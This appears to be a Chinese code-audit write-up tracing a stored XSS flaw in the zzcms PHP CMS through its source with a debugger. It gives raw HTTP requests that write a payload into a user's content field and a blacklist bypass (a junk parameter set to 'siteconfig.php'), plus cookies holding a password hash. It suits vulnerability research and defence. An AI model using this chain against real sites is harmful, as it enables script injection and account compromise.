function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {
$string=stripslashes($string);
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);//转html实体符号
}
if ($nl2br==true){
$string=nl2br($string);
}
return $string;
}
/*传入字符串,默认参数$htmlspecialchars_decode=false,,$nl2br=false,先对传入的字符串进行stripslashes()调用,
返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
实例:
接着if($htmlspecialchars_decode==true)决定是否对字符串调用htmlspecialchars_decode()此函数的作用和 htmlspecialchars() 刚好相反。它将特殊的HTML实体转换回普通字符。
被转换的实体有: &, " (没有设置ENT_NOQUOTES 时), ' (设置了 ENT_QUOTES 时), < 以及>。
最后根据一个nl2br()函数只是根据变量执行换行,并不是重点*/
梳理完上述的函数,要想借由这个函数触发xss,需要达到以下几点:
①如果传入的字符串$string在调用之前被类似htmlspecialchars()处理过,
则需要在在调用stripfxg()函数第二个参数$htmlspecialchars_decode传入true,
执行翻转,并将调用stripfxg的string进行类似echo的操作,才会显示在页面上,即xss触发。
②如果传入的字符串$string在调用之前未被类似htmlspecialchars()处理过,
则在调用stripfxg()函数第二个参数$htmlspecialchars_decode按照默认的false也可,
但同样的是对调用stripfxg的string进行类似echo的操作,才xss触发。
在...zt/show.php,有如下代码:
$gsjj=$gsjj. stripfxg($content,true);
//第二个参数传入true会进行thmlspcialchars翻转,使得出于安全考虑的xss过滤无效
尝试调试/zt/show.php,访问/zt/show.php:
在show.php文件下断点,看缺少的参数是哪里的
发现卡壳的位置在第六行代码,跟进发现在top.php出现如下代码:
//略
if($id<>0){ //参数缺失
$sql="select * from zzcms_user where id='$id'";
}elseif ($editor<>"" && $editor<>"www" && $editor<>"demo" && $domain<>str_replace("http://","",siteurl)){
$sql="select * from zzcms_user where username='$editor'";
}elseif(isset($editorinzsshow)) {
$sql="select * from zzcms_user where username='".$editorinzsshow."'";
}else{
showmsg ("参数不足!");//这句被执行了。出现了上述的弹窗
}
//回溯$id的传值过程,发现如下同文件下的代码:
$id=isset($_REQUEST['id'])?$_REQUEST['id']:0;
//至此了解到,访问zt/show.php失败是由于访问时没有传递字段id,经由三目运算符使得$id=0,被if语句捕获,出现了弹窗。
传递id字段,/zt/show.php?id=1(由if语句,只要设置id字段非0即可),继续调试
不再进入弹窗分支,后边分支做了语句拼接$sql="select * from zzcms_user where id=’$id’"执行了查询:
$rs=query($sql);
$row=num_rows($rs);
if (!$row){
showmsg ("不存在该用户信息!",siteurl);
}
确实没数据,写入一条记录,继续调试,回到上层,即调用了一开始访问zt/show.php出现错误的地方,继续调试,可以到达漏洞触发点的代码 $strout=str_replace("{#gsjj}", $gsjj, $strout);含义是在 $strout中检索{#gsjj}若检索命中,使用$gsjj 替代。重点是,最后还进行了echo $strout
继续调试
在$strout中,提前手工检索$strout发现所需字段{#gsjj}命中,也就是$strout=str_replace("{#gsjj}", $gsjj, $strout);会将变量$gsjj替代{#gsjj}写入到$strout中,并且zt/show.php最后还进行了echo,相当于触发
重新捋下思路zt/show.php下$gsjj=$gsjj. stripfxg($content,true);
如果可控$content,可以写入xss代码,从而可控制$gsjj,
$gsjj经由$strout=str_replace("{#gsjj}",$gsjj,$strout); 写入$strout,
因为最终show.php会进行echo $strout可以达到xss代码触发。
在show.php下溯源变量$content:
发现仅调用处使用了$content,猜测可能是包含进来的,继续查找
发现仅在top.php文件中有一处发现且是该网站用户数据的一个字段(并不是变量$content的声明),既然是用户数据,则跟后台存在交互,向上溯源,发现了查询代码:
if($id<>0){//ID放前面,EDITOR放后面
$sql="select * from zzcms_user where id='$id'";
}elseif ($editor<>"" && $editor<>"www" && $editor<>"demo" && $domain<>str_replace("http://","",siteurl)){//针对用二级域名的情况
$sql="select * from zzcms_user where username='$editor'";
}elseif(isset($editorinzsshow)) {
$sql="select * from zzcms_user where username='".$editorinzsshow."'"; //当两都为空时从zsshow接收值
}else{
showmsg ("参数不足!");
}
$rs=query($sql);
$row=num_rows($rs);
调试发现执行了
$sql="select * from zzcms_user where id='$id'";
目的明确,需要在zzcms_user的content字段注入xss代码,尝试检索可以修改用户数据content字段,全局检索:
UPDATE zzcms_user ... //需要包含content字段
查找usermodify.php存在,部分代码如下:
$action = isset($_POST['action'])?$_POST['action']:"";
$id = isset($_REQUEST['id'])?$_REQUEST['id']:0;
checkid($id,1);
$FoundErr=0;
$sql="select * from zzcms_user where id='$id'";
$rs=query($sql);
$row=num_rows($rs);
if (!$row){
$FoundErr=1;
$errmsg=$errmsg . "- 找不到指定的用户!
";
}else{
$row=fetch_array($rs);
if ($action=="modify") {
checkadminisdo("user_modify");
$b=@trim($_POST["b"]);//有未设值的情况
$s=@trim($_POST["s"]);//有未设值的情况
$qqid = isset($_POST['qqid'])?$_POST['qqid'][0]:0;
if ($elite==""){
$elite=0;
}elseif($elite>127){
$elite=127;
}elseif ($elite<0){
$elite=0;
}
checkid($elite,1);
checkstr($img,"upload");//入库前查上传文件地址是否合格
checkstr($oldimg,"upload");
if ($FoundErr==0){
query("update zzcms_user ...,content='$gsjj' //这是update语句省略无关字段,语句包含content字段,给了修改的可能
接下来要尝试能够执行user_modify.php只执行update语句,阅读代码发现需要通过$action=="modify"为true && !$row伪false两个条件满足需要post一个action字段,设置id(后台数据库有表项且正确,这是满足第二个条件的需要)phpstorm下断点,burpsuite改包
//未修改
GET /admin/usermodify.php?id=1&action=modify&XDEBUG_SESSION_START=12563 HTTP/1.1
Host: www.zzcms.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: __51cke__=; bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614088667487%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201614090471804%7D; __51laig__=2; XDEBUG_SESSION=12149
Connection: close
//修改,post方式
POST /admin/usermodify.php HTTP/1.1
Host: www.zzcms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: __51cke__=; bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614088667487%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201614090471804%7D; __51laig__=2; XDEBUG_SESSION=12563
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
id=1&action=modify&XDEBUG_SESSION_START=10419
phpstorm捕获后,调试:发现卡在代码:checkadminisdo(“user_modify”);处,未能进入update语句。跟进,来到如下代码:
function checkadminisdo($str){
$rs=query("select config from zzcms_admingroup where id=(select groupid from zzcms_admin where pass='".@$_COOKIE["pass"]."' and admin='".@$_COOKIE["admin"]."')");//只验证密码会出现,两个管理员密码相同的情况,导致出错,前加@防止SESSION失效后出错提示
$row=fetch_array($rs);
$config=$row["config"];
if(str_is_inarr($config,$str)=='no'){showmsg('没有操作权限!');}
}
思路转换一下,在这个cms中,发现有admin的目录,同时有user的目录且同目录下存在manager.php,猜测网站可供普通用户注册登录,自不必说同样用户数据会接入后台,尝试普通用户的修改页面。
在phpstorm的update那一个语句下断点,开启监听,放行数据包,发现调试器卡在断点处:
说明是可以执行update的语句的,同样update中包含需要的content字段,检索该页面下的$content发现并没有声明,manage.php间接包含了一个会对用户的提交内容进行处理的函数:stopsqlin在stopsqlin.php中定义,具体功能后续会详解,此处的重点是stopsqlin.php还有如下会被执行的语句
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST); //可通过这里注册$content需要post content=payload即可
@extract($_GET); //
}
/*
extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int
本函数用来将变量从数组中导入到当前的符号表中。
检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。
*/
GET /user/manage.php?id=1&action=modify&content=payload&XDEBUG_SESSION_START=10263 HTTP/1.1
Host: www.zzcms.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614094655010%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201614096455010%7D; __51cke__=; __51laig__=1; PHPSESSID=e7aad2cc2b0d58dc7dc4c9b6c7887360; UserName=pitta; PassWord=25d55ad283aa400af464c76d713c07ad; XDEBUG_SESSION=10263
Connection: close
POC步骤:
利用user/manage.php写入paylaod:
bp操作修改包,
原:
GET /user/manage.php?id=1&action=modify&XDEBUG_SESSION_START=18144 HTTP/1.1
Host: www.zzcms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614094655010%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201614096455010%7D; __51cke__=; __51laig__=1; PHPSESSID=e7aad2cc2b0d58dc7dc4c9b6c7887360; UserName=pitta; PassWord=25d55ad283aa400af464c76d713c07ad; XDEBUG_SESSION=17629
Connection: close
修改添加content字段,由于是全局变量可以直接附加:
GET /user/manage.php?id=1&action=modify&content=&XDEBUG_SESSION_START=18144 HTTP/1.1
Host: www.zzcms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614094655010%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201614096455010%7D; __51cke__=; __51laig__=1; PHPSESSID=e7aad2cc2b0d58dc7dc4c9b6c7887360; UserName=pitta; PassWord=25d55ad283aa400af464c76d713c07ad; XDEBUG_SESSION=17629
Connection: close
回显如下弹窗,
phpstorm的/user/manager.php没捕获到查看调用栈:
发现是manage.php包含了conn.php,在一次向下调用了stopsqin的非法参数检测函数,代码如下:
function stopsqlin($str){
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
$str=strtolower($str);//否则过过滤不全
$sql_injdata = "";
$sql_injdata= $sql_injdata."|".stopwords;
$sql_injdata=CutFenGeXian($sql_injdata,"|");
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
}
}
}
//看下调用同文件下:
$r_url = strtolower($_SERVER["REQUEST_URI"]);
if (checksqlin == "Yes") {
if (strpos($r_url, "siteconfig.php") == 0 && strpos($r_url, "label") == 0 && strpos($r_url, "template.php") == 0) {
foreach ($_GET as $get_key => $get_var) {
stopsqlin($get_var);
} /* 过滤所有GET过来的变量 */
foreach ($_POST as $post_key => $post_var) {
stopsqlin($post_var);
}/* 过滤所有POST过来的变量 */
foreach ($_COOKIE as $cookie_key => $cookie_var) {
stopsqlin($cookie_var);
}/* 过滤所有COOKIE过来的变量 */
foreach ($_REQUEST as $request_key => $request_var) {
stopsqlin($request_var);
}/* 过滤所有request过来的变量 */
}
}
在包含conn.php的位置下断点,调试发现在conn.php的 #include(zzcmsroot."/inc/stopsqlin.php");调用结束出现了提示非法参数的弹窗:
再下断点跟进conn.php的#include(zzcmsroot."/inc/stopsqlin.php");语句,程序执行了stopsqlin():
function stopsqlin($str){
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
$str=strtolower($str);//否则过过滤不全
$sql_injdata = "";
$sql_injdata= $sql_injdata."|".stopwords; //黑名单过滤
$sql_injdata=CutFenGeXian($sql_injdata,"|");
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
}
}
}
$r_url = strtolower($_SERVER["REQUEST_URI"]);
if (checksqlin == "Yes") {
if (strpos($r_url, "siteconfig.php") == 0 && strpos($r_url, "label") == 0 && strpos($r_url, "template.php") == 0) {
foreach ($_GET as $get_key => $get_var) {
stopsqlin($get_var);
} /* 过滤所有GET过来的变量 */
foreach ($_POST as $post_key => $post_var) {
stopsqlin($post_var);
}/* 过滤所有POST过来的变量 */
foreach ($_COOKIE as $cookie_key => $cookie_var) {
stopsqlin($cookie_var);
}/* 过滤所有COOKIE过来的变量 */
foreach ($_REQUEST as $request_key => $request_var) {
stopsqlin($request_var);
}/* 过滤所有request过来的变量 */
}
}
//进入stopsqlin()会非法参数弹窗,分析需要进过if判断才会执行stopsqlin()进行了黑名单的sql注入关键词屏蔽,尝试bypass,在访问的url中添加垃圾变量,赋值为siteconfig.php或者label或者template.php即可跳过stopsqlin的调用
改包:
GET /user/manage.php?id=2&action=modify&content=&asd=siteconfig.php&XDEBUG_SESSION_START=17629 HTTP/1.1
Host: www.zzcms.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: bdshare_firstime=1614088667738; __tins__713776=%7B%22sid%22%3A%201614094655010%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201614096455010%7D; __51cke__=; __51laig__=1; PHPSESSID=e7aad2cc2b0d58dc7dc4c9b6c7887360; UserName=pitta; PassWord=25d55ad283aa400af464c76d713c07ad; XDEBUG_SESSION=17629
Connection: close
下断点,放行数据包,调试,
成功越过stopsqlin()函数,成功步入update语句
至此成功将xss代码写入数据库,接下来就需要触发代码了,触发代码由zt/show.php完成
通过/zt/show.php传入id=2(上述的xss代码写入的用户id)执行,发现因为show.php间接包含了conn.php中,浏览器执行过程中被stopsqlin()捕获(这里被捕获也无所谓,语句$gsjj=$gsjj. stripfxg($content,true);传入的第二个参数为true会执行一次htmlspecialchars的翻转),即访问 /zt/show.php?id=2
function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {
$string=stripslashes($string);
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);
}
//...
return $string;
}
$strout=str_replace("{#gsjj}",$gsjj,$strout);
同zt/show.php下执行了上述代码,使得payload最终写入变量$strout中,成功污染$strout在zt/show.php的末尾该变量进行了echo操作,使得xss代码被浏览器解析成功,实现xss攻击。效果: